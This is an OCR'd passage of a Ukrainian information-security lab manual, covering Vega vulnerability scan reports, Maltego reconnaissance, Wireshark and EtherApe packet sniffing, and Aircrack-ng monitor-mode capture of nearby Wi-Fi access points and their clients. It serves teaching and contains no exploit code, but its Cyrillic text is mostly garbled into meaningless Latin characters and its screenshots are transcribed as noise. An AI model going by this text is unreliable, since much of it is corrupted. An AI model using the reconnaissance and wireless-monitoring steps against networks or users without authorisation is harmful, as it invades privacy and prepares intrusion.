BiKHI, Ji¢ OyJe NOBIIOMJISITHUCS KUIBKICTb Ta pIBEHb HEOE3MEKHW Bpa3IMBOCTEH
(Pucynok 6). 3miBa y Bkmamii «Scan Alerts» MOMXIJIHMBO TEPErNISHYTH KOXHY

BPa3JIMBICTh OKPEMO Ta OTPUMATH JCTaIbHUMN 3BiT 1O Hill (PucyHok 7).
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Subgraph Vega e O
File Scan Window Help

J@@.ﬁ & gProxy

ite Vi E'EHG)Scan Info} =0
= ® & =

o

Scan Alert Summary

@ High (42 found)
SAL Injection 26
Shell Injection 13
Page Fingerprint Differential Detected - 3
Possible Local File Include
@ Medium (9 found)
© 10/06/2016 17:14:57 [Completed] (AP U S s 1
Possible XML Injection 8
1]
Q Info (388 found)
Interesting Meta Tags Detected 92
News Feed Detected 1
A8 Identities 52 J S|
I
J 2 % = Proxy is not running H 842M of lEQTM |ﬁ

Pucynox 37 — BuBenennst 3BiTy ckanepom — Vega

Subgraph Vega [ )
File Scan Window Help

leoa g
@ Website View @ g =0 [@scanlnfo =0

) ——— @ vecx Open Source Web Security Platform IO
e |
-@ Cleartext Pass over HTTP
-@
,@ b AT A GLANCE
@ Classification Environment
.@ Resource [forumyindex.php
- — . Rk
00 @EB=D
v @ 10/06/2016 18:25:47 [Auditing] (104) - P REQUEST

+ @ hetp S 102) GET /forum/index.php
v @ High (58)
v 2 Cleartext Password over HTTP (5) b DISCUSSION
o [ ‘Vega detected a form with a password input field that submits to an insecure (HTTP) target, Password values should never be sent
in the clear across insecure channels. This vulnerability could result in unautherized disclosure of passwerds to passive network
+ /forum/ attackers.

* [forum/index.php 10 Identities 32 1 -0

=+ [forum/portal.php
+ /portal.php

» = Cross-Site Script Include (53)
» @ Low (5)

3 n Info (41)

2% & Proxy is not running || a3Mof1278M |

Pucynok 38 — BuBeneHHst 1eTaapHOTO 3BITY 1O BPa3IMBOCTI CKaHEpoM Vega

3aBaaHHA:

Bukonatu ckanyBaHHS BeO-JojaTka abo BeO-pecypcy 3a JIOIIOMOIOIO
ckanepa — Vega. [IpoananizyBatu pe3ynbTaTi cKkaHyBaHHs. HamaTu y 3BiTI JaHHI TTPO
Ha3HAYHIII BPa3JMBOCTI 110 MOTPANMWIM Yy 3BIT CKaHepa. Bka3zatu siki 1e KOpHCHI

JaHl 1 y SIKAX pO3/lJIaXx HaJaB CKaHep.
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JlabopaTtopHa po6ora NeS

Tema: Ilomyk BpaziauBocTel Ta 4yTTEBOI 1HGOpMaIlIl y BIAKPUTUX pecypcax

3a TomoMororo 3acody Maltego.

Mera: OTtpumaTtv NpakTUYHI HABUYKUA TOIIYKY BpPA3JIUBOCTEH Ta YYyTTEBOI

iH(popMarii y BITKpUTHX pecypcax 3a mormomororo 3acody — Maltego.

TeopernuHi BizomocTi

VY naGopatopHiii po6otTi Ned4 posrisgaBcst 3acid 10 J03BOJISB OTpUMATH
BIJIOMOCTI IIPO MOKJIMBI BPasJIMBOCTI BeO-pecypcy abo BeO-momaTky. OHAK, 4acTo
MPUYMHOIO YCIIIIHOI aTaku CTa€ neBHa 1HGopmalis 1o Oyna SKUMOCh YUHOM
3aJIMIIeHa cepell TOKYMEHTIB BeO-pecypcy (dacTo, yepe3 HeoOauHICTh pO3POOHHUKIB
abo aaMiHICTpaTopiB pecypcey). [Homl »k, crmemiamicty 3 iHdopMaliiHOI Oe3neku
HEOOXITHO BUBYMTH T€ siKa € 1H(opMmamis AOCTyNHA JIis BEJIMKUX Mac, BUSBUTH
qyTTeBY 1H(pOpMAIlio 1 3aKpUTH ii. [0 TOro * BUKOPUCTaHHS TakWX 3acO0IB SK
Maltego nae MOXIJIMBICTH 3pO3YMITH YM 3MOKE 3JIOBMUCHUK BHU3HAYUTHU UYYTTEBI
BY3JIM 1HPPACTPYKTYPH (SKIIO CEPBEPH PECYpPCy 3HAXOISATHCS Y BIACHOCTI KOMIIaHii
Yy Oprasizailii) 1 TAKMUM YAHOM BHBYAaTH MOXKJIMBOCTI aTakKM Ha HUX, 10 PAHO YU
M13HO MPU3BENE 10 MEBHUX HACIIIKIB.

Maltego — e  yHiBepcajdbHMI 3aci0 SKHH HE JHMIIE J03BOJISE 30UpaTh
iH(OopMaIito PO MEBHY CUCTEMY, a 1 aBTOMAaTUYHO CUCTEMATHU3YE 1110 1H(HOpMAIIO Y
BUIJISIAL 3pydHOro rpada. butee Toro, incTpyMeHTamMmu Maltego cinyryroTh Tak 3BaHi
«TpanchopmMu», MO B CyTl CBOIH XMapHi — CEPBICH 5Kl 1 B3aEMOJIIIOTH 3 CHCTEMOIO
0 JOCHIIKY€EThCs. 3aBAsIKU TaKOMy TMIIX0ay, 3a jornomoror Maltego MoxIiIHBo
MIPOBOJIUTH AOCIIKEHHS JICKITLKOX BY3JIIB OJIHOYACHO.

Jlns 3amycky Maltego (PucyHok 1) mepelinite y mento poxaatkiB Kali Linux y

nyHKT Information Gathering Ta 3amycTiTh 107aTOK «maltegocey.
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Maltego Kali Linux Edition

[ih I

Quick Find in Entity
Find  Files Selection

Pucynok 39 — I'omoBHe BikHO Maltego

Add Parents

Add Children

Add Similar Siblings

( Refresh Transform Hub

Neighbors t Children
eighbors

3ookmarked

%! Update Transforms

Select by Type

Zoom to Fit
100% m Out

om to m Selection

Sy

PATERVA CTAS From Transform Hub
Paterva
Standard Paterva CE Transforms

FREE INSTALLED

®

CaseFile Entities ~ from Transform Hub
Paterva
Additional entities from CaseFile

FREE

Shodan From Transform Hub
Andrew MacPherson (Paterva)
Query Shodan data from within Maltego!

FREE

C?

SensePost Toolset From Transform Hub
SensePost
A set of various transforms - with regular

FREE

VirusTotal Public .., from Transform Hub
Malformity Labs
Query the VirusTotal Public API

FREE

NewsLink From Transform Hub
Paul@Paterva
Transforms for monitoring and analyzing

FREE

ThreatMiner From Transform Hub

3. ThreatMiner

Query and pivot on data from ThreatMiner.

FREE

i

PassiveTotal From Transform Hub
PassiveTotal
Query PassiveTotal source and account d

FREE

Bitcoin From Transform Hub

Paul@Paterva

Y For visualizing the Bitcoin blockchain,

FREE

From Transform Hub

ThreatCrowd
ThreatCrowd

haveibeenpwned ~ from Transiorm Hub

Christian Heinrich
Check if an Account or Domain has been C

Jlist Toro o6 KopucTyBaTHcs cepBicamu Maltego HeoOXiTHO YBIHTH 10 CBOTO

00JIIKOBOTO  3aIuCy,

MOCHJIaHHSM (TIOMIYE€HO YepPBOHMM MapKepoM Ha PuCyHOK 2).
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Welcome to Maltego!

STEPS

Welcome

Login . . A
°g Enter your details below to log in to the Maltego Community Server

Lagin result Or if you have not done so yet, register here

Select Transform Seeds .
Login

Install Transforms + Email Address | |

Password

* Solve captcha

Pucynox 40 — Bxig 10 0011k0BOTO 3amucy abo Moro peectparrist

[Ticnst BXOMy A0 CBOro OOJIIKOBOTO 3alMCy BU MEpEiieTe Ha TOJOBHE BIKHO
3actocyHKy (Pucynok 1). Iy modatky poOOTH CTBOPITH HOBHH Ipad) HATUCHYBIIH
BIJITIOBITHY KHOIKY Y BEpXHbOMY, MpaBoMy KyTi (PHUCYHOK 3, BHIIJICHO YEpBOHHM

MapKEPOM).

P I

Investigate Wiew Entities i

Clear Graph | Mumber of Results

Cut |

Copy Paste I I | I [
Delete 12 50 255 10k

Pucynok 41 — KHonika cTBOpeHHss HOBOro rpady (BHALICHO YEepPBOHUM

MapKepoM)

HatucHiTe Ha mycTtomy micii rpady, 1 y HOBOMY BIKHI 00€piTh HEOOXITHUIA

By MamuHu (PucyHok 4), HaTucHITE «Nexty. Y HoBoMy BikHi (PucyHOK 5) BBemiTh
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HeoOX1/IH1 JaHi JUIsl 3aIycKy MamuHu 1 HaTUCHITH «Finishy. B 3anexxHocCTi Big TUIy
oOpaHOi MaIlIMHU 70 Bamoro 00’€KkTa AOCTKEHHS Oyle 3acTOCOBaHO MEBHUMN
TpaHcopM 1 BHBeaeHO mneBHHE rpad (PucyHok 6 —3amymeno mamumny Footprint
L1). Hatuckaroun Ha By3nu rpada MOXIMBO OTPUMATH JOJATKOBY iH(opMaIiito mo
bOMY BY31y. Tako), BUIIUIUBIIM TEBHUM BY30JI, O HHOTO OKPEMO MOXKJIMBO
3aCTOCYBaTH TEeBHUN TpaHCcOpM, SKUHW MOXKIMBO 00paTH Ha JiBiM maHesni — Run
View (Pucynok 6). Skmo * € HEOOXiOHICTh CTBOPHUTH HOBHU BY30J — HOTO THI

MOJKJIMBO 00OpaTH Ha JiiBii manesni — Entity Palette (Pucynok 6).

Start a Machine

STEPS CHOOSE MACHIMNE: Please select the machine to run from

Choose machine
Specify target
O Company Stalker
O Find Wikipedia Edits

() Footprint L1

O Footprint L2

Show on startup

Show on empty graph click

Pucynok 42 — OGepith THN MamuHu, Hanpukian Footprint L2 —Oyne

BHUKOHAHO TMONIYK JOMEHIB 1[0 MOB'S3aHO 3 BAIIO0 LIJUTIO

45



Start a Machine

machine

fy target
The Footprint L1 machine requires the following inputs:

Domain Name | |

o | e | cancer

Pucynok 43 — BeeziTh He0OXiaHI JaHHI i 3amycky mammuu (Footprint L1

BHUMarae Ha3By BeO-pecypcy — IiJi)

Maltego Kali Linux Edition 4.0.11

Collabaration Import | Export Windows

[+ S O: Import Entities »

OF Export Entities
New Entity Manage Manage
Type ~  Entities (1] Entity Palette Icons

New Graph (2) X

w NS Record

A DNS nam cor ‘ ’

ernet Uniform urce Locator (URL)
run{ASNumberToCompany)

W ckinacede . Machine completed with 2 entities
Rep! tracking code for a

»x

+ Locations
+ LovelyPonies

b Teanstorn |

ut - Transfol put

Transform To AS number returned with 2 entities {from entity "S1

Transform To AS number done (from entity "91.203.146.0-91.203.1

Running transform To Company [Owner] on 1 entities (from entit

Transform To Company [Owner] returned with 2 entities (from entity "45045")
Transform To Company [Owner] done (from entity "45045")

16 entities, 27 links

Pucynok 44 — T'onoBue BikHO Maltego Ta rpad mo Oyno mnoOygoBaHO B

npoiieci pobotu marmmau Footprint L1)
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3aBnaHHA:

1. IIpoBecTn AOCTIHKEHHS JOBUIHPHO OOpPAHOTO 00’€KTY 3 BUKOPUCTAHHSIM HE
MEHIIIE 3X MaIluH.

2. 3acTocyBaT J0 HE MEHII HiXK 3X BY3J1iB, HE MEHIIE HIXK 3 TpaHCHOpMHU.

3. O0rpyHTyBaTH BHOIp By3:IiB Ta TpaHCHOPMIB (BiZOOPa3UTH y 3BITI).

4. TlpoanamizyBatu oTpuMaHui rpad, BIAMITUTH Yy 3BITI TOYKU IHTEpECY
OOTpYHTYBABILIU CBiii BUOIP.

5. Bu3HauuTH HasBHICT 4YyTTe€BOI iHopMarii (BimoOpasuTu y 3BITI
MO>KJIUBOCTI iX BUKOPUCTAHHS 3JIOBMUCHUKAMHU ).

6. Y 3BiTI mpoBecTH MOPIBHAHHSA MK XapakTepoMm iHQopmarii mo OyIo

310paHo 3aB/IsIKU cKaHepy Vega Ta 3acoby Maltego.
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JlabopaTtopHa poGoTa Ne6

Tema: CHidbepu

Mera: Otpumatu HaBHYKM 300py TEXHIUYHOI Ta 4YyTTE€BOi iHQoOpMmaIii 3a

nornomoroto [13 kiacy — cHidepu.

TeopernuHni BizomocTi

Cepen mporpaMHOro 3a0e3MeueHHs] 110 J03BOJIAE€ 30UpaTh Ta aHaII3yBaTH
iH(popMaIil0 3 CUCTEM, Ta y cUcCTeMax € Benukuid kiac [I3 mo Ha3zuBaeThes —
cHidbepu, BiA aHrmiiicekoro sniff — Hioxatu, BuHioxyBaTu. CHidepu 1€ IyXKe
mupokuil knac 13, BoHr MOXyTh OyTH MEpEeXeBl, BOHU MOXYTh BCTAHOBJIIOBATHUCS
Ha usb iHTepdelicu, OTHUM 13 PI3HOBHUIIB CHI(PEPIB MOKIIMBO BBAXKATH — KEUJIOTEPH,
cHibepr MOXKYTh MEPEXOIUTIOBATH MEPEPUBAHHS 3 MPUCTPOIB 1 OaraTo 4Oro 1HIIOTO.
I'omoBHOW0O 0coOMMBICTIO Oyab sIKOTO CHidepa Iie 3JaTHICTh JI0 MAacCHUBHOIO 300py
iH(dOopMmaIrii.

B naniit nabopatopHiii po0OOTi Oyle pO3TISHYTO OIWH 3 HAWMOTYXHIIIUX

mepexeBux cHiepi — WireShark (Pucynok 1).

A The Wireshark Network Analyzer [Wireshark 1.10.6 (v1.10.6 from master-1.10)] -+ X

e @® [ ] = c|lQAe»FF ¢ |EE o @WEEm

Filter: w | Expression... Clear Apply Save

The World's Most Popular Network Protocol Analyzer

Wl RESHARK Version 1.10.6 (v1.10.6 from master-1.10)
Capture L Files _________§ _______ Online |
No interface can be used for capturing in this system with the current configuration. i
prurine Y s — Open . Website

See Capture Help below for details. Open a previously captured file Visit the project’s website

Open Recent: - ", i
e Refresh Interfaces P @ User's Guide
Get a new list of the local interfaces. s le Capt: The User's Guide {enline version)
ample Captures

® A rich assortment of example capture files on the wiki ® Security

Work with Wireshark as securely as possible

Capture Help

® How to Capture

Step by step to a successful capture setup

Network Media

@ Specific information for capturing on:
Ethemet, WLAN, ...

Ready to load or capture Mo Packets Profile: Default

Pucynox 45 — I'onoBue BikHO cHiepy WireShark
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Jlns mowaTtky BHKOpUCTaHHS cHidepy, o0epiTh iHTepdeiic Ha sikomy Oyne
IpaiioBaTé CcHipep Ta HATHCHITH CTapT (IIOMIY€HO YEPBOHMUM MapKepoM Ha

Pucynoxk 2).

__ Interface List

®
W& Live tist of the capture interfaces
{counts incoming packets)

4 Start

ne or more interfaces to capture from, then Start

E| nflog
] nfqueue
] any

Lol Lnanhack: |

@ Capture Options
" Start 2 capture wiith detailed options

Pucynox 46 — 3amyck cHidepy, 4epBOHUM MO3HAYEHO KHOMKY — CTapT

[Ticnsa crapty cHidbep nmoune BimoOpakaTu yBech Tpadik M0 MPOXOJAUTH Yepes
oOpanwmii iHTepdeiic. HaliuacTime, Taka KUTbKICTh iH(pOpMalii — HaAMiIpHA, TOMY Y
cHidepi pO3TOPHYTO AyXKe MOTYKHY CUCTEMY HalaroKeHHs (iIbTPiB.

Bci dinbrpu y Wireshark ginstecst Ha aB1 ocHOBHI rpynu. [lepmia — e GpiabTp
3axBaty (capture), i (IIBTPU BH3HAYAIOTh SAKI JaHHI OyAyTh B3ATI 3 Tpadiky i
30epexxeHi Ha auck. Jlpyra rpyma — ¢insTpu BimoOpaxkenus (display), 1mi ¢iapTpu
MpU3HAYEeHH1 JJIs TOTOo 100 BiAdUIBTpyBaTH 1H(POpMaIIito sKa HeOOXigHa BaM 3apas
Ha JMCIUIC], BOHM HE BIUIMBAIOTh Ha Ti TMAKETH IO 3axXBaTye cHidep, JHIIe Ha
iHpopMalilo 10 BigoOpaxyeTbcsi Ha MoHITOpl. HamamryBatu Quibtpun 3
BIJIMOBIAHMX MEHIO III0 BHUKJIMKAIOTHCA KHOMKamMu (PucyHOK 3, cHHIM Mapkepowm
MO3HAYEHO KHOMKY i MEHI0 (UIbTpIB 3axBaTy, a YEpPBOHUM Il (UIbTPIB

B1I00payKEHHS)
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Pucynok 47 — CuHiM MapkepoM TO3HaYeHa KHOMKA BUKIUKY MEHIO (IIbTPIB

3aXBaTy a YePBOHUM — BiJJOOpaKEHHS

Jlis HanaromkeHHs! (pIbTPIB BUKOPUCTOBYIOTHCSL BUpa3u, BOHU MOXYTh OyTH
JOCUTh CKIAQOHUMH. AJe Jid TNPUKIaaAy MOKHA HaBECTH HACTYIMHHHA BHUpa3
(tcp.port == 80) or (udp.port == 80) el MPHUKIAT MOXKJIMBO 3aCTOCYBaTH SIK 0
biapTpy BimoOpaskeHHs Tak 1 10 (inbTpy 3axBaTy, BiH O3Hauae 1o cHidep Oyme
ITHOpYBAaTH yCi MAaKeTH OKPIM MaKeTH 110 HAACUIAIOThCA 3a poTokosiom TCP Ha, ab6o
3 mopty 80, a6o 3a mporokosom UDP. Tak, BUKOpUCTOBYIOUM BiJMOBIIHI (IIBTPU
MOKJIUBO 30CEPEIUTUCH JHINEe Ha TMeBHIA iHpopMalii SIKy OUIKye OTpHUMAaTd

cnerianict 3 Ib. Bikno HanamryBanHus GuisTpy cHiepa 300pakeno Ha PucyHok 4.
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o Wireshark: Display Filter - Profile: Default + X
Edit Display Filter
Ethernet address 00:08:15:00:08:15
Ethernet type 0x0806 (ARP)
(New Ethernet broadcast
Mo ARP
IP only
IP address 192.168.0.1
IP address isn't 192.168.0.1, don't use I= for this!

IPX only
TCP only
UDP only
Properties
Filter name:
Filter string: LI:',_IExpression...
@PHelp // Apply @Cancel J/ OK

Pucynox 48 — BikHo HanamryBanss ¢iabtpy Wireshark

CHidep MOKe BUKOHYBATH HE Jivie (YHKIIIO 3aXBaTy MakKeTiB, iHOAL CHidep
HEOOXITHUHN JIMIe JJI1 MOHITOPUHTY 3BE€pPHEHb XOCTYy y Mepexi. s mux minen
po3po6ieHo cHipdep Etherape. Mloro MOXIMBO BCTAHOBUTH BUKOHABIIN KOMAHIY Y
KOHCOJI Bij iMeH1 root'a apt-get install etherape. 3amyctuBmm Etherape Binm iMeHi
KOpHCTyBada 00epiTh iHTepdeiic Ta pexkuM y MeHio Capture (I03HAYEHO YEPBOHHM

MapkepoM Ha PucyHok 5).

- EtherApe —

Pause Stop Pref. Prot. MNodes

Protocols

Reading data from etho in IP mode

Pucynok 49 —I'onoBue BikHO cHidepy Etherape, uyepBonuM wmapkepom

nomiueHe meHto Capture
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[Tpuknan pobotu cHidepy 300paxeHo Ha PucyHok 6.

b EtherApe - + X

File Capture

i nu Pa o

Pause Stop Pref. Prot. MNodes

Protocols 102.166.0.103

239.255255.250

192. 16801

DOMAIN

173.1944113.216

173.194.44.587

173.194=113.210

Reading data from wilan0 in IP mode

Pucynox 6 — I[puknag pobotu cHidepy

3BEpHITH yBary 110 3J11Ba 3HaXOAUThCS NaHeb Protocols Tam BinoOpakaroThCs

yC1 HeIOAaBHI MPOTOKOJIHU 32 IKUMH HaJACHIAJIMCS JaHHI.

3aBnaHHs:

1. BukopuctoByroun caipep Wireshark Ta indopmarito 3 caity anti-
trojan.org/port_opened.html (Mo>xMBO BUKOPUCTOBYBATH | 1HII peCypcCH, OCHOBHUM
KPUTEPIEM € aKTyalbHICTh iH(oOpMmarii) mnobyayiTe ¢inbTp (3axBary abo
BIIOOpaKEHHS) IS TepexBaTy TMAKETIB 10 MOXYTh MTH 3 IIMHUTYHCHKOTO
MIPOTPAMHOT0 3a0€3MeYCHHS.

2. Ilicns mobynoBu (inbTpy mpoaHamizyite Tpadik y AEKIIBKOX Mepekax
(Minimym Tpu). Jlomaiite y 3BiT iH(opMaLio npo Tpadik SKUH OyI0 OTPUMAHO Yy

KOXKHIN 3 MEpexK.
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3. BukopucroByroun Wireshark mnpoanamizyiite Tpadik 1m0 reHepye Barl
KOMIT'IOTE€p TpH 3BEpHEHHI HA TIOMYJSpHI caiith (BUKOpUCTOBYHTE (GiIBTPH,
1H(opMalIliro Mpo HUX JOJANUTE Y 3BIT, MOSICHITH YOMY BH BUKOPUCTAJIM caMe iX), Balll
CIIOCTEPEKEHHS JOJaiTe y 3BIT.

4. BuxopuctoByrouu cHipep Etherape mpoanamizyiiTe 3B’SI3KH 110 BUHUKAIOTh
IIpU 3BEPHEHH1 BaIlIOro Opay3epy 10 MOonyJsipHuX caiTiB. CriocTepekeHHs 1oAaiTe y

3BIT. JlogaiiTe y 3BIT MOSICHEHHS NP0 MPHUPOIY MOXOHKEHHS LIUX 3B’ SI3KiB.
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JlabopaTtopna po6ora Ne7

Tema: 3aci0 aOCHiIKEHHS BpAa3IMBOCTEH Oe3mpoBigHuX Mepex Wi-Fi—

Aircrack-ng.

Mera: Otpumard HaBUYKM 300py TEXHIYHOI Ta 4YyTTe€BOi iHQopMmaii 3

6e3npoBigHUX MKpKK Wi-Fi 3 BUKOpucTaHHSIM mporpamMHoro nakery Aircrack.

TeopernuHi BizomocTi

Aircrack — e mporpaMHIM KOMIUIEKCOM 3 JIEKIIBKOX aBTOHOMHHUX KOHCOJIBHHUX
yTuiiT. HalG11b111 4acTo BUKOPUCTOBYBAHUMHU 3 HUX €:

—airmon-ng — ytwirita Uil KEpyBaHHS ~ MEpeKeBUMH  iHTep(elicamu.
OcHoBHUMU 3aBAaHHAMU € BU3HaueHHs [13 1o 3aiimae mepexeBuil iHTEpdeiic — 1o
JI03BOJISIE BUKOHATM HEOOXiJHI Jii i WOro BUBLIBHEHHS, Ta IEpPEBEICHHS
1HTEepEC y pexkKUM «MOHITOPY» — L0 JIa€ 3MOTY BUKOHYBATH 301p 1H(pOpMAIlii.

—airodump-ng — yTuiIiTa 10 Mpaie 3 MEpPeKeBUM iHTepdericoM 1o Oysi0
MEepEeBEICHO Y pekuM MOHITOpY. BoHa peanizye pyHkIii MepexxeBoro cHidepa, aie
MEPEXOIUTIOE Tpadik HE 3 MEPEXI 10 AKOI MIJIKII0UEeHA a 0€3M0CepeAHBO MEPEXOILTIOE
Tpadik 0e3mpoBiIHUX Mepex. Mae Bemukuii HaO1p oMl Ta PyHKITIH.

—aireplay-ng — yTwitita 1o npu3HaueHa JjIsl BUKOHAHHS «iH €KIiH» y Tpadik.
3a3Buuail 11 yTUJIITa BUKOPUCTOBYETHCS JJIsi TOTO 100 HajiciaaTH y Tpadik MmeBHOI
Mepexi Hallp 3 MEBHUX CIY>KOOBHUX KOMaHJ BiJ 1MEHi, a00 TOYKH AOCTymy, abo
KJIIEHTA I{1€] TOYKU.

—aircrack-ng — ytuiiTa 110 MpH3HAYCHA IS MPOBEACHHS KPUIITOAHATI3Y
OTPUMAaHUX TAKETiB JJI1 OTPUMAHHS KJIFOYiB TOUKH JIOCTYITY.

OKpiM MOKJIMBOCTI OTPUMAaHHS KJIIOYIB BiJl TOYKH A0CTymy (Ii MOKJIMBOCTI
OyInyTh pO3MIISIAATHCS Y TIOJAIBIINX JIabopaTopHUX poboTax), Aircrack Hamae rapHi
MOJIMBOCTI IO aHaJli3y AKTUBHOCTI KOPHUCTYBaylB NEBHOI TOYKU JOCTYIy. A y
BIIKpUTUX TOYKaxX II€ W JO3BOJIsIE€ MEPEXOIUTIOBATH iX Tpadik aHaji3 SKOro MOXeE

nati Oe3miy  kopucHoi 1HQopmarii. [ns 30opy Takoi iHdopmamii Oyaemo
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BUKOpHUCTOBYBaTH airodump-ng. i mnoyatky poOOTH HEOOXITHO 3allyCTUTU

tepminai, i mepeBectu Wi-Fi inTepdeiic y pexxum moHiTopa (Pucynoxk 1):

v Terminal - kain@gamorah: ~ - + x|

Pucynok 50 — IlepeBenennst intepdeiicy wlan0 y pexuM MOHITOpY Ha

iHTepdeiic mon0

Jlist Toro o0 mepeBecTu iHTepdeic 6e3mpPOoBITHOTO0 MEPEKEBOTO ANANTEPY Y
pPEKUM MOHITOPY BUKOHYETHCS KOMaHIa airmon-ng start [im’sa_intepdeticy]. s
TOTO 1100 MepeANBUTHUCS YCI1 IHTEpPEiicH Mo JOCTYIHI Y Balliil CUCTEM1, BUKOHAWTE

komaHnny ifconfig (Pucynox 2).
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hd Terminal - kain@gamorah: ~ =t
Terminal Tabs Help
Fi

kain@gamorah:~%

Pucynok 51 — Komanaa ifconfig BUBOAUTH yC1 TOCTYITHI MEPEKEB1 IHTEPPEiicu

CHCTCMH

3BepHITh yBary, II0 BUKOHYBAaTH TEPEKIIOYEHHS IHTEpPeEiicy y pexum
MOHITOPY HEOOXIAHO BiJg IMeHI cymnep-kopucTyBada (root'a). SIKmo TepmiHa
BIIKPUTO HE BIiJ IMEHI root'a, y MOYaTOK CTPOKH 3 KOMaHIOK BBEAITH J0JaTKOBO
sudo 1 1o 3ampoIIEHHIO BBEAITH MApOJb CyIep-KOPUCTYyBaya.

3BEepHITH yBary, 1 Ha Te IO AESKI MPOIECH MOXKYTh MEPEIIKOKATU POOOTI
iHTEepdeicy y peXuMi MOHITOPY, iX CIHMCOK YTWUJIITa BUBEJE HA IMOYATKy CBOTO
noBiToMIIeHHS . TakoK MOXKJIMBO CKOPHUCTATUCS KOMaH1010 airmon-ng check wlanO,
BOHA BHUBE/IE CITUCOK YCIX MPOLECIB IO MOTEHIIMHO MOXYTh MEPEIIKOIKAaTH pOOOTI

iHTepdeiicy y pexumi Monitopy (Pucynok 3).
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| = Terminal - kain@gamorah: ~ - + x|

Pucynok 52 — Po6ota komanau airmon-ng check wlanO

Jnst Toro mo6 mo30yTUCS MPOIIECIB MO0 CIPUUYUHSAIOTH MPOOJIEMU BUKOHANTE
komanny kill [PID mpomecy] Bim iMeHi cymnep-kopucTyBada. [HOmi, IIboro OyBae
HEJOCTAaTHbO, TOMY MOJIMBO CIPOOYyBaTH BUMKHYTHM a MOTIM 3HOBY YBIMKHYTHU
MepexxeBui  amanrtep. lle BukoHyeThcs 3a  gomomMororo  komann ifconfig
[imM’st_inTepdeticy] down (o6 BumkHyTH) Ta ifconfig [imM s inTepdeticy] up (o0
YBIMKHYTH), BUKOHYBaTH KOMaHIM HEOOXIAHO BII 1M’ Cylep-KOpHCTyBaya

(Pucynoxk 4).

Terminal - kain@gamorah: ~ + x|

Pucynok 53 — BukoHaHHsI BUMKHEHHS 1 YBIMKHEHHS aJantepy, y NpUKIIal 11e

wlan0
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[Ticns Toro sik iHTepdelic Oyne mepeBeAeHO Yy PEXHM MOHITOpa airmon-ng
CTBOPUThH JOAATKOBHM iHTepdeic skuii Oyae 3a3HayeHO Yy BIAMOBIAI YTHIITH
(PucyHok 5, BHIUIEHO YEpBOHMM MapKepoM), y BHIAJKy 3 NPUKIAIOM L€ —

iHTepdeiic mon0.

= Terminal - kain@gamorah: ~ - +

is running on interface wlan®

enabled on mon®)

PucyHnok 54 — UepBoHMM MapKepoM IO3HAUY€Ha Ha3Ba IHTep(deicy y pexumi

MOHITOPY

Cawme 1ie#t inTepdeiic HeoOX1THO BUKOPUCTATH JIJIsl HACTYITHOTO KPOKY, a came
3amycKy yTuwiiTH airodump-ng. SIka 103BOJIMTH TEperyisfgaTH aKTUBHICTh TOYOK
JOCTYITy Ta iX KOPUCTYBauiB y peaJbHOMY 4aci, y 30HI JOCSHKHOCTI O€3MPOBIAHOTO

MepexeBoro aganrtepy. [Ipukian podotu yTumiTe 300paxeHo Ha PucyHok 6.
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¥ Terminal - kain@gamorah: ~ - + X

View Terminal Tabs Help

[ Elapsed: 8 s 11

Pucynox 55 — Ilpuxmnan po6otu ytuiitu airodump-ng

PosrnsitHeMo moJisi BUBOAY YTHIIITH (BEepXHid OJIOK — BigoOpaxae iH(opMarrito
npo HasBHI AP):

BSSID — MAC axpeca TOYKH TOCTYITY

PWR — piBeHb cUTHATY TOUKH JTOCTYIY

Beacons — koxxHa Touka goctyny (AP) mancwiae mpuoiausno 10 beacons-
MAaKeTIB KOXKHOTo (PpeiiMy, SKIIO € CYMHIBH Yy aJeKBaTHOCTI JaHux mois PWR 3a
KUIBKICTIO beacons-makeTiB MOXJIMBO OILIHUTH PIBEHb CUTHAIY, YWUM OLJIbIIe
beacons — Tum kpamuii curHan

Data — k1JIpKICTh ITAKETIB 3 JaHUMU

CH — xanan Ha sixomy nparitoe AP

MB — mBuakicts Ha skiid onepye AP. 11 — e unctuii 802.11b a 54 — uyuctuii
802.11g, 3HaueHHs MI>K HUMU 11€ 1HIIT CTaHAApTH MBUAKOCTI, Hanpukiag 801.11n

ENC — tun mmdpyBanHs mo BUukopuctoBye AP

ESSID — Ha3Ba mepexi. [HOAlI Ha3By NMPUXOBYIOTH IS TOTO LI00 YHUKHYTH
3alBUX MIAKIIOYEHB, ajle€ airmon-ng MOXKE 3HAWTH TaKy MEpEexXy 1 BiJITOBITHO

BCTAaHOBUTH CTCKCHHA 3a HCIO.
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Temnep po3risiHeMo HUXHIM 010K (BiH BimoOpakae moBeniHKy KiieHTiB AP):
BSSID — MAC anpeca AP 3 K010 B3a€EMOJII€ KITIEHT

STATION — MAC anpeca kinieHTa

PWR — piBeHb curraimy

Packets — KiIbKICTh OTPUMAHHX MAKETIB 3 JaHUMHU

Probes — na3su MCPCIK O0 AKUX HaMaraBCs Hi,ZlKJIIO‘{I/ITI/ICH aJ1alTep KJIIEHTA

3aBaaHHA:
1. BukopucroByroun komruiekc Aircrack, mposenite anami3z edipy AP mo Bac
OTOYYIOTb.
2. BkaxiTb Mepexi 10 BaC OTOUYIOTh
3. BkaxiTh KUIbKICTh KOPUCTYBaUiB MEPEK 110 BU aHAII3yBaJIU
4. ITikyu akTUBHOCT1 KOPUCTYBaviB
5. Buznaute HallOUTbII aKTUBHUX KOPUCTYBaviB
6. Buznaute xopucTyBauiB SKi MalOTh HAMKpaIuii 38’5130k 3 AP
7. CrnpoOyiiTe BHU3HAUUTH YH HE BUKOPHUCTOBYE XTOCHh TIEBHY MEpPEKY HE
CaHKIIIOHOBAHO, 1110 MOKE€ Ha 11¢ BKa3yBaTu?
8. Y 3BiTi BimoOpa3iTh aHi MPO TOYKU Ta KIIE€HTIB Y HACTYITHOMY (pOpMATi:
-BSSID (AP):
--MAC-xmienTa 1
---4ac MoYyaTKy poOOTH Ta 3aKIHUYEHHS
---miK Tpadiky (4ac Ta KUIbKICTh MaKETIB)
---CITMCOK probes
--MAC-xJienTa ...

--MAC-xmienTa n
9. CmpoOyitite Bu3HAUUTH sKi AP BHUMHKalOThCS KOPUCTyBadaMH 3a iX

BIJICYTHOCTI, a SIKl TPAIOIOTh I117101000BO, HATIPHUKJIA] BUKOPUCTABIIH KITFOY --

uptime (airodump-ng --uptime mon0)
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10. Buxopucraiite six MiHIMyM Tpu (QIIBTpU Ha Baml BUOIip, 1HGOPMAIIO PO
HUX OTPHUMAaWTE 3a JOTIOMOTOI0 Kitoda --help. Bkaxith iX y 3BiTI Ta gomanTe 10
OIUCY CKPIHILIOTH

11 BukonaiiTe 3anmuc Tpadiky TOYKU Ta KIIEHTY Yy ¢aili 3a JOMOMOTror0 KIro4a

